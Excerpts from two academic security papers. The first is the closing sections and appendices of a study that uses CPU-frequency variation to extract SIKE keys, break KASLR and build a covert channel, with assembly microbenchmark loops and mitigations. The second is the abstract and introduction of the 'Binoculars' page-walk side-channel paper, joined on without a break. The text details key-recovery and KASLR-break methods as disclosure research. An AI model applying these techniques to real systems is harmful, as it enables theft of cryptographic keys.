exists a scaling factor r such that X = rX ′ and Z = rZ′.

The point T is represented as (0 : 1) when using projective
x-coordinates; the point at infinity, O, as (1 : 0). The projective
pair (0 : 0) is not considered the valid projective x-coordinate
representation of any point. This is important to our attack.

5.3.2 Anomalous 0s in the Montgomery Ladder

The Montgomery three-point ladder is implemented using
Ladder3pt shown in Algorithm 1, reproduced from the SIKE
specification [52]. The inputs are an integer m, curve points
P, Q, and Q−P (in affine x-coordinate representation), and
the curve parameter A. The output is the point P+[m]Q (in
projective x-coordinate representation).

The subroutine invoked inside the loop, xDBLADD, when
applied to points U , V , and U−V , returns a tuple consisting
of [2]U and U +V . As the names suggest, invoking xDBLADD
is equivalent to invoking xDBL to compute [2]U and xADD to
compute U +V , but the combined algorithm evaluates some
repeated subexpressions just once.

The points P, Q, and Q−P, as well as the curve parameter
A, are supplied by the attacker, whereas the integer m is the
secret key. The goal of the attacker is to leak m.8

8As written, algorithm Ladder3pt is not constant time, but the branch in
line 4 is implemented in practice using constant-time conditional swaps.
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Consider the algorithm xADD that, given points U , V , and W
in projective x-coordinate form where W =U−V , computes
the point U +V in projective x-coordinate form, as:

X ← ZW
[
(XU −ZU )(XV +ZV )+(XU +ZU )(XV −ZV )

]2

Z← XW
[
(XU −ZU )(XV +ZV )− (XU +ZU )(XV −ZV )

]2
.

When U−V is any point except O or T , xADD(U,V,U−V )
correctly returns U +V . However, when U −V is O or T ,
xADD(U,V,U−V ) misbehaves and returns the invalid projec-
tive representation (0 : 0) instead of U +V [21].9

Worse, xADD(U,V,W ) will also return (0 : 0) if called with
any of U , V , or W equal to (0 : 0), regardless of the value
of the other two inputs.10 Repeated applications of xADD can
thus get stuck at (0 : 0). We use exactly this fact for our attack.

Suppose that we can arrange that, at the beginning of iter-
ation k in Ladder3pt, (X2 : Z2)∼ T , i.e., that X2 = 0 and Z2
is nonzero. There are 2 cases to consider:

• if mk = 1, then T will be passed into the third argument of
xDBLADD, triggering the misbehavior in xADD and causing
(X1 : Z1) to be set to (0 : 0).

• otherwise, if mk = 0, then T will instead be passed into
the second argument of xDBLADD. This will not trigger
the misbehavior in xADD and not produce (0 : 0) as an
output. The point (X2 : Z2), which was equal to T , will be
overwritten with whatever xADD returns.

In the first case, xADD will get stuck; the second element
of the tuple returned by xDBLADD will be (0 : 0) in every
subsequent iteration of Ladder3pt’s loop, and Ladder3pt
will eventually return (0 : 0). In the second case, it is likely
that 0 values will not recur during the ladder computation.

It remains to show how the attacker can arrange for (X2 : Z2)
to equal T at loop iteration k. Let `i = (mi−1, . . . ,m0)2 rep-
resent the least significant i bits of m. Algorithm Ladder3pt
maintains the invariant that, at the beginning of iteration i of
the loop, the points (X0 : Z0), (X1 : Z1), and (X2 : Z2) satisfy

(X0 : Z0)∼ [2i]Q

(X1 : Z1)∼ P+[`i]Q

(X2 : Z2)∼ (X0 : Z0)− (X1 : Z1) .

Suppose that that the attacker, proceeding bit-by-bit, has ex-
tracted `k. The attacker picks an arbitrary curve and sets Q to
be an arbitrary point on the curve.

If mk−1 = 0, the attacker sets

P←
[
2k− `k

]
Q−T . (1)

9If U −V = O then U = V and therefore (XU : ZU ) ∼ (XV : ZV ). If
U −V = T then U = gT (V ) where gT is the translation-by-T map; by a
property of Montgomery curves, it follows that (XU : ZU )∼ (ZV : XV ).

10In this case it does not matter — indeed, does not make sense to ask —
whether W =U−V .

Then, at iteration k of the Ladder3pt loop, we will have (X2 :
Z2) ∼ T . If mk = 1, T will be passed as the third argument
to xDBLADD, triggering the misbehavior as described above.

If mk−1 = 1, the attacker instead sets

P← T −
[
`k
]
Q . (2)

Then, at iteration k of the Ladder3pt loop, we will have (X1 :
Z1) ∼ T . If mk = 0, T will be passed as the third argument
to xDBLADD, triggering the misbehavior.

To summarize, if mk 6= mk−1, the crafted input ciphertext
will trigger the anomalous 0 misbehavior.

When generated according to the SIKE specification, P
and Q are always linearly independent points of order 3e3 and
never produce T or O during the execution of Ladder3pt.
When generated according to our algorithm above but with
an incorrect key-bit guess, we expect that T or O will be
produced only with negligible probability.11 This conjecture
is supported by our experiments.

5.3.3 Anomalous 0s in Isogeny Evaluation and j-
Invariant Calculation

The next task in SIKE decapsulation, isogeny evaluation, is
carried out by algorithm 3_e_iso, which takes as input the
point P+ [m]Q (in projective x-coordinate form) as output
by Ladder3pt, expecting it to be a point of exact order 3e3 .
In Appendix A.3, we show that, when invoked on the invalid
input (0 : 0), 3_e_iso and its subroutines repeatedly operate
on and produce 0 values. Isogeny evaluation in 3_e_iso thus
acts as an amplifier for the signal produced by the ladder
evaluation in Ladder3pt, making it possible to observe even
an anomalous 0 produced in a late Ladder3pt loop iteration.

After isogeny evaluation, the next task in SIKE decapsula-
tion is j-invariant calculation, using algorithm jInvariant.
When 3_e_iso returns (0 : 0), jInvariant is invoked with
input (0 : 0), every intermediate value it computes is 0, and
its return value (the SIDH shared secret) is 0.12

5.4 Mitigations

We now describe the mitigation that Cloudflare and Microsoft
deployed after we disclosed our attack on SIKE.

The mitigation, which was originally proposed by De Feo
et al. [25], consists of validating that the ciphertext (public
key) consists of a pair of linearly independent points of the
correct order 3e3 . This check is performed before running the
three-point ladder and prevents attack ciphertexts from being
further processed, thus hindering the attack. When running
decapsulation on a single thread on our i7-9700 CPU, we

11This fact allows us not only to distinguish a correct from an incorrect bit
guess for bit mk but also to detect and recover from mistakes in determining
the earlier bits `k; see Appendix A.4.

12Note that this output depends on the result of inverting 0 in Fp2 in step 15
of jInvariant. The Montgomery inversion algorithms in the implementa-
tions we examined have 1/0 = 0 (see Savas and Koç [83]).
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found that the mitigation adds a performance overhead of 5%
for CIRCL and of 11% for PQCrypto-SIDH.

6 Timer-free Attacks

We now show that not only can we use the frequency side
channel to turn power attacks into remote timing attacks (as
we saw in Section 5), but we can also use it to mount timing
attacks without a timer. To this end, we use the frequency side
channel to mount a KASLR break and a covert channel.

KASLR Break Like prior work [12,13,37,43,45,51,63,64],
the goal of the (unprivileged) attacker is to de-randomize the
kernel base address. Knowledge of the kernel base address is
useful to mount memory corruption exploits.

In Linux, the kernel text is placed at a 2 MB boundary in the
0xffffffff80000000 – 0xffffffffc0000000 range [13].
Hence, the kernel can be placed at one of 512 possible offsets.
Prior work has shown that, on Intel and AMD processors,
there is a timing and power consumption difference when ex-
ecuting prefetch instructions on a memory address depending
on whether that address is mapped or not [43, 63]. This dif-
ference can be used to infer the location of the kernel within
its predefined region. We show that this power consumption
difference manifests also as a CPU frequency difference.

To this end, we build a sender process similar to the ones
of Figure 3, but using only prefetcht0 instructions. While
the sender runs, a separate thread measures the current CPU
frequency using the unprivileged scaling_cur_freq inter-
face from the cpufreq driver. We ran the sender with all
the 512 possible kernel base addresses, for 10 different ran-
domizations (i.e., repeating across 10 reboots) on our Intel
i7-9700 CPU. In all 10 cases, we were able to identify the
base address successfully (as verified by checking the privi-
leged /proc/kallsyms interface). We measured an average
steady-state CPU frequency of 4.04 GHz when repeatedly
prefetching mapped addresses, and 4.24 GHz when repeat-
edly prefetching unmapped addresses. The runtime of our un-
optimized, proof-of-concept implementation is of 2 minutes.
This runtime is larger than state-of-the-art KASLR breaks,
but could be reduced with additional engineering effort.

Covert Channel Like prior work, our covert channel uses
a sender and a receiver. To transmit a 0, the sender executes
a loop of or instructions with high HD and HW in their data
flow. This loop increases the power consumption and results
in lower CPU frequency values. To transmit a 1, the sender
executes a loop of shlx instructions with low HD and HW in
their data flow. This loop decreases the power consumption
and results in higher CPU frequency values. The receiver
measures the current CPU frequency using the unprivileged
scaling_cur_freq interface from the cpufreq driver.

We evaluated our covert channel by transmitting 1 kB of
random data on our i7-9700 CPU. Our unoptimized, proof-
of-concept implementation achieved a bandwidth of 30 bps

with an error rate of 0.03% (average across 10 runs). This
bandwidth is similar to the one of prior covert channels relying
on software-based power measurement interfaces [63, 64].

7 Discussion

Affected CPUs We successfully reproduced our attack on
Intel CPUs from the 8th to the 11th generation of the Core
microarchitecture (reported in Table 1). We also tested two
desktop CPUs from older generations, namely the i7-6700K
(Skylake) and i7-7700K (Kaby Lake), and we found that both
models only support Turbo frequencies on single core work-
loads: as soon as more than 1 core is active, the P-state is
capped at the base frequency. In our experiments, we were
not able to force the frequency into steady state (i.e., below the
max turbo frequency) with single-core workloads, and were
therefore unable to reproduce our attack on these models.

Besides CPUs from the (client-class) Core microarchitec-
ture, our attack should also work on Intel Xeon CPUs (server-
class) since they also use similar P-state management tech-
niques. Additionally, other CPU vendors implement similar
DVFS mechanisms and are likely vulnerable. For example,
we verified that the AMD Ryzen processors are also vulnera-
ble to our attack, featuring a similar HW/HD leakage model
and enabling the same SIKE vulnerability that we described
in Section 5. We leave reverse engineering the specific char-
acteristics of the AMD leakage model to future work.

Mitigating Leakage via the Frequency Channel Our at-
tack is enabled by data-dependent frequency adjustments at
steady state. As we showed, the affected CPUs enter this state
when certain power and thermal limits are hit during a work-
load’s execution. Thus, one approach to mitigate the attack is
to reduce the likelihood that the CPU hits these limits. One
workload-independent way to do so is to either disable Turbo
Boost, or to disable SpeedStep and HWP from the BIOS. We
verified that, with otherwise standard system configurations,
both methods cause the frequency to stay fixed at the base
frequency during workload execution and never enter steady
state, preventing leakage via the frequency side channel. How-
ever, this approach significantly reduces system performance.
Moreover, this approach may not be sufficient on system con-
figurations with custom power limits. Indeed, in concurrent
work, Liu et al. show that a privileged adversary can extract
AES-NI keys using the frequency side channel after reducing
the power limits to fractions of their default values [65].

Mitigating Leakage in Ciphers Another mitigation strat-
egy consists of removing secret-dependent leakage in crypto-
graphic software. For example, SIKE’s mitigation discussed
in Section 5.4 hinders our attack by preventing attack cipher-
texts from triggering secret-dependent computations on 0s.

For cryptographic software in general, mitigating the power
leakage itself would naturally close the frequency channel.
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True decoupling would require that all operands have no sta-
tistical correlation with secrets, which is only feasible with
techniques like fully homomorphic encryption. A more realis-
tic approach takes advantage of the fact that it is not the power
usage of each operand that is leaked, but an average of the
power usage across all operands in a time period. This goal
may be achieved using masking/blinding techniques. Prior
works have introduced protocol-specific masking techniques
for ciphers such as AES [8,38,82,86] and blinding techniques
for elliptic-curve cryptography [54]. Automatic masking tech-
niques have also been proposed either in software [7, 17, 27]
or leveraging additional hardware support [26, 33, 41, 42, 79].
However, masked/blinded implementations may still leak in
practice via power side channels [4, 5, 34, 69, 81, 84, 85].

Future defenses could also examine the potential of fus-
ing unrelated loops, vectorizing operations, or other meth-
ods of interleaving different computations. These approaches
could be done by combining multiple, normally sequential,
computations in the program or by introducing an additional
complementary kernel. Effective blinding will require that
the combined computation’s power trace is not related to any
secret computation. For example, if we can construct a bit-
inverted version of a cryptographic kernel, we can interleave
the real kernel and the blinding kernel. Our model of HW and
HD provides a starting point for future work on blinding.

8 Conclusion

We discovered that in modern Intel (and AMD) x86 CPUs,
DVFS-induced frequency variations depend on the current
power consumption, and hence on the data being processed.
We showed, for the first time, that the HD and HW of data
individually and non-uniformly contribute to power consump-
tion and frequency on modern x86 CPUs. We described a
novel chosen-ciphertext attack against SIKE, which uses this
knowledge to leak full cryptographic keys via remote timing.

The security implications of our findings are significant.
Not only do they expand the attack surface of power side-
channel attacks by removing the need for power measurement
interfaces, but they also show that, even when implemented
as constant time, cryptographic code can still leak via remote
timing analysis. The takeaway is that current cryptographic
engineering practices for how to write constant-time code are
no longer sufficient to guarantee constant time execution of
software on modern, variable-frequency processors.
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A Appendix

A.1 Leakage Model—Additional Experiments

HD in the ALU Input In Section 4.1, we saw that increas-
ing the number of bit transitions in the ALU output causes an
increase in power consumption and a decrease in frequency.
Here, we set out to understand if the same effect happens when
bit transitions occur in the ALU input. We need a sender that
offers fine-grained control over the number of transitions in
the ALU input, while avoiding potential side-effects such as
the HW effect or bit transitions in the ALU output.

We design a sender that is symmetric to the one of Figure 3a.
Our sender still uses shlx and shrx instructions, as shown
in Figure 13a. However, it is designed such that the output
of all shlx and shrx instructions is always the same, and
only their input varies as a function of COUNT. Hence, any
HD effect is caused by bit transitions on the ALU input only.
For example, when COUNT = 8, the source register to each
shlx contains 0x000000ffffffff00, and the source register
to each shrx contains 0x00ffffffff000000, the alternation
of which translates to a HD of 4×8 in the ALU input.

Figure 14 shows the results for increasing COUNT values.
We see that the power consumption grows and the frequency
drops when COUNT grows, confirming that the number of
bit transitions (i.e., the HD) in the ALU input directly affects
power consumption and CPU frequency. We also see that the
changes in power / frequency become more significant when
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rax = COUNT

rbx = 0x0000FFFFFFFF0000 >> COUNT

rcx = 0x0000FFFFFFFF0000 << COUNT

loop:

  shlx %rax,%rbx,%rdx  // rdx = rbx << rax

  shlx %rax,%rbx,%rsi  // rsi = rbx << rax

  shrx %rax,%rcx,%rdi  // rdi = rcx >> rax

  shrx %rax,%rcx,%r8   // r8  = rcx >> rax

  shlx %rax,%rbx,%r9   // r9  = rbx << rax

  shlx %rax,%rbx,%r10  // r10 = rbx << rax

  shrx %rax,%rcx,%r11  // r11 = rcx >> rax

  shrx %rax,%rcx,%r12  // r12 = rcx >> rax

jmp loop

(a) Variant of sender for the HD experiments.

rax = 1
rsp = pointer_to_memory
rbx = … = r15 = INPUT
loop:
  mov %rax,(%rsp)  // store rax to memory
  mov %rax,(%rsp)  // store rax to memory
  mov %rax,(%rsp)  // store rax to memory
  mov %rax,(%rsp)  // store rax to memory
  mov %rax,(%rsp)  // store rax to memory
  mov %rax,(%rsp)  // store rax to memory
  mov %rax,(%rsp)  // store rax to memory
  mov %rax,(%rsp)  // store rax to memory
jmp loop

(b) Sender for the HW at rest experiments.

Figure 13: Additional sets of instructions (senders) used to reverse engineer the dependency between data and power consumption
/ frequency on our CPUs. Different senders are designed to target different effects. Each sender can be run with variable inputs.
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Figure 14: Effect of increasing COUNT in Figure 13a’s sender
on our i7-9700 CPU. Higher COUNT values cause higher HDs
in the ALU output. As the HD increases, the mean power con-
sumption grows and the mean steady-state frequency drops.

the COUNT > 8, as a result of the non-uniform HW cost of
having 1s closer to the MSB in the fixed source register rcx.

Non-uniform HW In Section 4.2, we saw that the HW ef-
fect it depends on the position of 1s in the data (i.e., it is
non-uniform). We now discuss two experiments that provide
additional evidence that the HW effect is non-uniform. We
refer to these experiments as shift0 and shift1. Both experi-
ments use the same sender of Section 4.2, shown in Figure 3b.
In shift1, we fix the number of consecutive 1s and measure
the impact of changing the position of these consecutive 1s
in the LEFT = RIGHT input, when all surrounding bits are
0s. In shift0, we do the opposite: we fix the number of con-
secutive 0s and measure the impact of changing the position
of these consecutive 0s in the LEFT = RIGHT input, when
all surrounding bits are 1s. By construction, since the HW is
fixed and the sender does not introduce any HD effect, any
differences in the results depend only on the position of 1s.

We label different positions of the consecutive bit patterns
based on their “shift offset” starting from the LSB. For exam-
ple, when the number of consecutive 1s in shift1 is 32, a shift
offset of 0 refers to input value 0x00000000ffffffff and a
shift offset of 16 refers to input value 0x0000ffffffff0000.
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Figure 15: Effect of shifting consecutive 1s in the LEFT =
RIGHT input to Figure 3b’s sender on our i7-9700 CPU. As
we shift the 1s towards the MSB, the mean power consump-
tion grows and the mean steady-state frequency drops.

Similarly, when the number of consecutive 0s in shift0 is 32, a
shift offset of 16 refers to input value 0xffff00000000ffff.

Figure 15 shows the results for the shift1 experiment when
we fix the number of 1s to 8, 16, 32, or 48. Consider the
case when the number of 1s is 16. When the shift offset is
between 0 to 16, we see almost no variation in the mean power
/ frequency. This is because as we shift in this range, 1s are
still all the low 32 bits, and we know from Figure 7 that there
is little difference in the HW effect for 1s that are in the low
32 bits. However, when the shift offset increases from 16 to
48, the power consumption grows and the frequency drops.
This is because we start gaining 1s in the high 32 bits and
approaching the MSB. This is consistent with what we saw
in Figure 7, where 1s closer to the MSB have a stronger HW
effect than 1s closer to the 32nd bit. The results are similar
when the number of 1s is 8. When the number of 1s is 32 or 48,
the HW effect increases every time the shift offset increases.
This is because, in these cases, shifting means that we lose 1s
in the low 32 bits and gain 1s in the high 32 bits, and we know
from Figure 7 that 1s in the high 32 bits have a stronger HW
effect than 1s in the low 32 bits. The HW increments in these
cases are also more significant, because the delta between the
HW effect of the bits we gain and the bits we lose is larger.
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Figure 16: Effect of shifting consecutive 0s in the LEFT =
RIGHT input to Figure 3b’s sender on our i7-9700 CPU. As
we shift the 0s towards the MSB, the mean power consump-
tion drops and the mean steady-state frequency grows.

Figure 16 shows the results for the shift0 experiment. These
results are symmetrical to the shift1 ones and can be explained
by the same reasons described for the shift1 experiment.

In summary, the shift0 and shift1 experiments support our
observation that the HW effect is non-uniform.

HW Root Cause In Section 4.3, we saw that the HD effect
and the HW effect are additive. Recall that the HD effect
is due to 1→ 0 and 0→ 1 bit transitions in the data being
processed. This is a well-understood effect in the literature,
and can be attributed to the fact that when more bits flip during
a computation, more transistors are switched in the datapath,
which causes dynamic power consumption to grow [46, 68].
However, it is difficult to pinpoint the root cause of the HW
effect on x86 Intel CPUs. For example, it is unclear if the HW
effect occurs only when data is actively computed on, or if it
is due to any data-dependent power cost of simply keeping
data stored inside registers. Our sender from Figure 3b cannot
distinguish between these two cases because it is designed to
continuously compute on and overwrite identical data values.
Here, we design a new sender to test if the HW effect occurs
also when data values with different HWs are simply stored
into registers (at rest), but not actively computed on.

Our sender, shown in Figure 13b, is designed as follows.
First, it sets the content of rax to 1, rsp to a memory location,
and all other architectural registers to a fixed INPUT value.
Then, it enters an infinite loop of stores that write the content
of rax into the memory location pointed to by rsp.13

By construction, the store operations in the loop are always
the same and independent of the value of INPUT. Changing
the value of INPUT only affects the content of registers that
are initialized, but not actively computed on by the sender.
Any difference in power consumption due to different INPUT
values would then be due to HW effect at rest.

Figure 17 shows the results when we increase the HW of
INPUT from 0 to 64. We see no differences in the mean power
consumption and mean steady-state frequency when the HW

13We use a store so that the register file is constantly being read from, in
the offchance an inactive register file could be powered down.
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Figure 17: Effect of increasing the HW of INPUT (at rest)
in Figure 13b’s sender on our i7-9700 CPU. As we increase
HW from 0 to 64, the mean power consumption and the mean
steady-state frequency do not change.

grows. This result suggests that the HW effect does not occur
when simply keeping data stored inside registers.

A.2 Mathematical Preliminaries for SIKE

SIKE is an isogeny-based key encapsulation method which in-
volves arithmetic operations of elliptic curves over finite fields.
In particular, SIKE uses Montgomery elliptic curves. Its se-
curity relies on the hardness of finding a specific isogeny be-
tween two such elliptic curves. Here, we provide an overview
of the details of SIKE that are relevant to our attack.14

Let p be a prime of the form 2e23e3 − 1. SIKE works in
the field Fp2 = Fp(i) with i2 =−1 (mod p) and uses the su-
persingular elliptic curves over Fp2 that have (2e23e3)2 points.
The set of points P ∈ E(Fp) that satisfy [n]P = O is called
the n-torsion of E. The curves of interest were chosen so that
the entire (2e23e3)-torsion is already defined over Fp2 , and
we have E[2e23e3 ]∼= Z/(2e23e3)Z×Z/(2e23e3)Z; as a result,
for each curve of interest, E[2e2 ] can be generated by linear
combinations of two points P2 and Q2 with coefficients in Fp2 ;
and likewise E[3e3 ] can be generated by linear combinations
of two points P3 and Q3 with coefficients in Fp2 .

An isogeny q : E1(Fp2)→ E2(Fp2) is a group homomor-
phism from E1(Fp2) to E2(Fp2) and a non-constant rational
map defined over Fp2 that preserves the point at infinity O.
The kernel of an isogeny is kerq = {P ∈ E1 : q(P) = O}.

Every finite subgroup H of a curve E(Fp2) defines an
isogeny q : E→ E/H, unique up to isomorphism, such that
kerq = H. The cardinality of H is also the degree of the ra-
tional map q. Given H, Vélu’s algorithm allows the rational
map for the isogeny corresponding to H to be computed; the
computation is tractable when |H| is small.

An `-isogeny is defined as q` : E → E/〈P〉, where P has
exact order `. The order of q(Q) in E/〈P〉 is the same as
the order of Q in E unless Q lies above kerq (meaning that

14For more information on SIKE, we refer to the SIKE tutorial by
Costello [19] and to the SIKE specification [52]. For more information on
elliptic curves and isogenies, we refer to the pairings tutorial by Costello [18]
and to De Feo’s lecture notes [23] and habilitation thesis [24]. For more
information on Montgomery ladders, we refer to Bernstein and Lange [6].
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Algorithm 2: Computing and evaluating a 3e-isogeny,
simple version ( [52], Appendix A)

1 function 3_e_iso
Static parameters: Integer e3 from the public

parameters
Input: Constants (A+

24 : A−24) corresponding to a
curve EA/C, (XS : ZS) where S has exact
order 3e3 on EA/C

Output: (A+
24
′ : A−24

′
) coresponding to the curve

EA′/C′ = E/〈S〉
1 for e = e3−1 downto 0 by −1 do
2 (XT : ZT )← xTPLe

(
(XS : ZS),(A+

24 : A−24),e
)

3
(
(A+

24 : A−24),(K1,K2)
)
← 3_iso_curve

(
(XT :

ZT )
)

4 if e 6= 0 then
5 (XS : ZS)← 3_iso_eval

(
(K1,K2),(XS : ZS)

)
6 return (A+

24 : A−24)

[n]Q ∈ kerq \ {O} for some n), in which case the order of
q(Q) is reduced by a factor of `.

Two curves are isogenous (meaning that there exists an
isogeny from one to the other) if they have the same number
of points. The curves of interest are all isogenous. If there
is an isogeny q from E1 to E2 then there is also an inverse
isogeny q−1 from E2 to E1; the composition q−1 ◦ q is the
map [degq] on E1, and likewise q ◦q−1 on E2.

If isogenies q and q−1 between E1 and E2 are such that
q−1 ◦q is the identity map [1] then E1 and E2 are isomorphic.
Isomorphic curves share the same j-invariant; the j-invariant
of a curve can be computed given a description of the curve.

A.3 Anomalous 0s in Isogeny Evaluation: Details

Algorithm 2 reproduces the implementation of 3_e_iso from
the specification [52] with optional arguments omitted.15

3_e_iso calls xTPLe to compute [3e](XS : ZS), by repeated
application of the tripling map xTPL; if (XS : ZS) has ex-
act order 3e3 then (XT : ZT ) is a point of exact order 3.
3_iso_curve expects a point of exact order 3 as input and
uses Vélu’s algorithm to compute the isogeny corresponding
to the group

〈
(XT : ZT )

〉
. It also outputs the curve constant

for the curve that is the image of E under that isogeny. Fi-
nally, 3_iso_eval uses the values returned by 3_iso_curve
to compute the image of (XS : ZS) under the isogeny. Because
(XS : ZS) lies above (XT : ZT ), which is in the kernel of the
isogeny, the order of the image of (XS : ZS) is 3e−1. We refer
to the SIKE specification [52] for a more detailed description
of the xTPLe, 3_iso_curve and 3_iso_eval algorithms.

When the attacker has made a correct key-bit guess using

15In fact, optimized implementations evaluate the isogeny using a more
complicated but more efficient strategy. Our attack applies to either approach.

the methods of Section 5.3.2, Ladder3pt, which is supposed
to return P+[sk3]Q in projective x-coordinate form, instead
returns the invalid value (0 : 0). This is not a valid projec-
tive representation of any point on E ′0, and certainly not the
representation of a point of exact order 3e3 .

An examination of the subroutines invoked by 3_e_iso
reveals some remarkable facts:
• If xTPL or xTPLe is called with (0 : 0) as its first argument,

every intermediate value it computes is 0, and its return
value is (0 : 0), regardless of its second argument.

• If 3_iso_curve is called with (0 : 0) as its argument, every
intermediate value it computes is 0, and it returns (0 : 0)
for (A+

24 : A−24) and (0,0) for (K1,K2).
• If 3_iso_eval is called with (0 : 0) as its first argument,

every intermediate value it computes is 0, and its return
value is (0 : 0), regardless of the value of its second argu-
ment (which, in this case, is (0,0)).

As a result, when 3_e_iso is invoked on input (XS : ZS) =
(0 : 0), every single intermediate value computed during every
loop iteration of 3_e_iso is a 0, including every intermediate
value computed in every subroutine that 3_e_iso calls.

For inputs generated according to our algorithm in Sec-
tion 5.3.2 above but with an incorrect key-bit guess, the point
(XS : ZS) on which 3_e_iso is called will not be (0 : 0), but
it will also not be a point of exact order 3e3 , so the behavior
of 3_e_iso on it is unspecified. On such inputs, we expect
that 3_e_iso will get stuck on (0 : 0) only with negligible
probability. This conjecture is likewise supported by our ex-
periments, with one caveat noted above: there is some chance
that the challenge ciphertext we form to target a bit accessed
late in the ladder will cause Ladder3pt to output a point of
order 3e for some e � e3.16 Evaluating 3_e_iso on such a
point will trigger isogenies computed with kernel as the group
formed by point of infinity O, which will trigger a frequency
increase. We sidestep this problem by recovering the last
14 bits of the key by brute-force search.

A.4 SIKE Error correction

During our attack, a mistake made at bit position k invalidates
measurements targeting all subsequent bit positions. With
mk correct, we expect to observe frequency increases (and
thus mk 6= mk−1) with probability 1/2. By contrast, with mk
incorrect we expect to never to observe frequency increases.

After a sufficiently long run without observing frequency
increases, we backtrack to find the misinterpreted bit. In Sec-
tion 5’s experiments, we set the backtrack threshold to 40 bits.

16In our challenge ciphertext, we set Q = P2 +P3, so Q is a point of order
2e2 3e3 . The output of Ladder3pt is a linear combination of T and [2i]Q,
[a]T + [b][2i]Q, where a and b depend on the secret m. When i is large,
[2i]P2 will have small order 2e2−i. Since T is a point of order 2, [a]T and
[b][2i]P2 might happen to cancel each other, and [a]T +[b][2i]Q will end up
as [b][2i][P3]. If b happens to be a multiple of 3, the output of Ladder3pt
would be a point of order smaller than 3e3 .
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Abstract
Microarchitectural side channels are a pressing security

threat. These channels are created when programs modulate
hardware resources in a secret data-dependent fashion. They
are broadly classified as being either stateful or stateless (also
known as contention-based), depending on whether they leave
behind a trace for attackers to later observe. Common wis-
dom suggests that stateful channels are significantly easier to
monitor than stateless ones, and hence have received the most
attention.

In this paper, we present a novel stateless attack that shows
this common wisdom is not always true. Our attack, called
Binoculars, exploits unexplored interactions between in-flight
page walk operations and other memory operations. Unlike
other stateless channels, Binoculars creates significant tim-
ing perturbations—up to 20,000 cycles stemming from a
single dynamic instruction—making it easy to monitor. We
show how these perturbations are address dependent, enabling
Binoculars to leak more virtual address bits in victim memory
operations than any prior channel. Binoculars needs no shared
memory between the attacker and the victim.

Using Binoculars, we design both covert- and side-channel
attacks. Our covert channel achieves a high capacity of 1116
KB/s on a Cascade Lake-X machine. We then design a side-
channel attack that steals keys from OpenSSL’s side-channel
resistant ECDSA by learning the ECDSA nonce k. Binoculars’
ability to significantly amplify subtle behaviors, e.g., order-
ings of stores, is crucial for this attack to succeed because the
nonce changes after each run. Finally, we fully break kernel
ASLR.

1 Introduction
Microarchitectural side-channel attacks are a serious security
threat to modern computer systems. In a side-channel attack,
the attacker exploits hardware resources that are shared with
the victim. Specifically, when a program’s execution mod-
ulates (i.e., changes the utilization of) hardware resources
(i.e., channels) as a function of its secret data, an attacker
can measure these modulations and from them infer the se-
cret. These attacks have caused a trust crisis in commercial
shared-hardware multi-tenant cloud environments, as well as
in daily-used personal applications like web browsers.

The ways in which hardware channels can be modulated to
pass information can be broken down along two axes. To start,
channel modulations are stateful if they leave a persistent state

change (e.g., the eviction of a line from the cache) [1,2,7,22,
23, 32, 33, 42, 49, 53, 71, 74], or alternatively stateless if they
create only temporary contention on a resource (e.g., on an
execution unit) [4, 6, 9, 24, 27, 44, 68, 69, 72]. Orthogonally,
channels can be modulated directly by the execution of the
victim instruction’s micro-ops, or indirectly by operations
that occur outside the purview of the instruction’s micro-ops.1

The large majority of channel modulations are direct (e.g.,
all of the above works). An example is a cache attack due
to the execution of a victim memory instruction that evicts a
line from the cache. On the other hand, there are a handful
of channels involving indirect operations [16, 20, 28, 29, 62,
67, 75]. Examples are “implicit” memory operations due to
hardware prefetchers or page walkers that occur beyond the
purview of micro-ops.

Historically, stateless channels have been considered more
difficult to exploit than stateful channels. Indeed, it is rela-
tively easy to monitor a stateful channel because its effect
persists after the victim instruction modulating it has retired.
Further, the contention effects of stateless channels are typi-
cally small, which exacerbates measurement noise.

Our key observation is that all known stateless channels
are due to direct operations. Accordingly, we perform the
first investigation of stateless-indirect channels by exploit-
ing interactions between in-flight operations stemming from
the hardware page walker and other sources (e.g., program
memory operations). We show how stateless-indirect chan-
nels are possible and enable powerful new attacks. We call
our channel and attack framework Binoculars.

We find that because indirect memory operations are issued
outside the purview of normal processor structures (e.g., the
reorder buffer) they “live by different rules” and exhibit novel
interactions with other memory operations. Based on these
interactions, we construct novel attack primitives.

First, we show that shared resource contention between
page walker (indirect) loads and regular (direct) memory op-
erations can cause significant delays in thread execution time
(e.g., up to 20,000 cycles) stemming from a single dynamic
instruction. This magnitude of delay dwarfs the one created
by any other microarchitectural side channel by at least two
orders of magnitude. It enables Binoculars to create new low-
noise attacks that are relatively easy to perform and observe
despite our channel being stateless.

1Indirect modulations have been called “implicit” modulations by prior
work [75].

USENIX Association 31st USENIX Security Symposium    699



Second, we show how the contention depends on the ad-
dresses of the memory operations involved. We show that this
address dependence does not only apply to high-order address
bits (e.g., the page number) or lower-order address bits (e.g.,
the bits that map the address to a cache set) but also to intra
cache line address bits and across address spaces. In fact, we
show that Binoculars can leak more bits of a victim’s (virtual)
memory address than any prior channel across address spaces.

Using the above attack primitives, we perform end-to-end
attacks on security-critical programs. To start, we design
and optimize a covert channel using Binoculars’ underlying
stateless-indirect channel that can achieve a high capacity of
1116 KB/s on a Cascade Lake-X machine. We then design
a side-channel attack that steals keys from OpenSSL’s side-
channel resistant ECDSA by learning the ECDSA nonce k.
Here, the nonce is computed by an implementation of the
Montgomery ladder algorithm that is hardened against timing
side channels. Binoculars is able to amplify subtle nonce-
dependent behaviors occurring during execution into large
timing delays that can be measured with low noise. This is
critical for the attack to succeed, since each run of ECDSA
uses a different nonce k. Finally, we fully break kernel ASLR
(KASLR).

Contributions. This paper makes the following contributions:
• We investigate and demonstrate the first stateless-indirect
channel. It is based on implicit loads issued by the page walker.
The resulting attack framework, Binoculars, has a high signal-
to-noise ratio and leaks a wide range of virtual address bits.
• We design and implement two Binoculars attack primitives.
One leaks the byte offset of a store within the page. The other
leaks the full virtual page number of a TLB-missing request.
• We demonstrate end-to-end attacks on real hardware, which
include extracting the nonce k in ECDSA with a single victim
run and fully breaking KASLR.

2 Background

Microarchitectural Side Channels. In a microarchitectural
side-channel attack, an attacker learns secret information from
a victim program by monitoring some microarchitectural
resource—e.g., a cache, branch predictor or execution port—
that the attacker shares with the victim, and which the victim
uses in a secret-dependent way. Channels can be classified
along two axes [3]: stateful vs. stateless and direct vs. indirect.

A stateful channel occurs when the victim’s use creates
persistent changes in the shared resource, which can be moni-
tored by the attacker afterwards. An example is a cache side
channel [49, 54, 71]. A stateless channel occurs when the
changes in the resource are temporary. To see the change, the
attacker has to physically contend for the resource during the
victim’s use. An example is port contention [4, 9, 27].

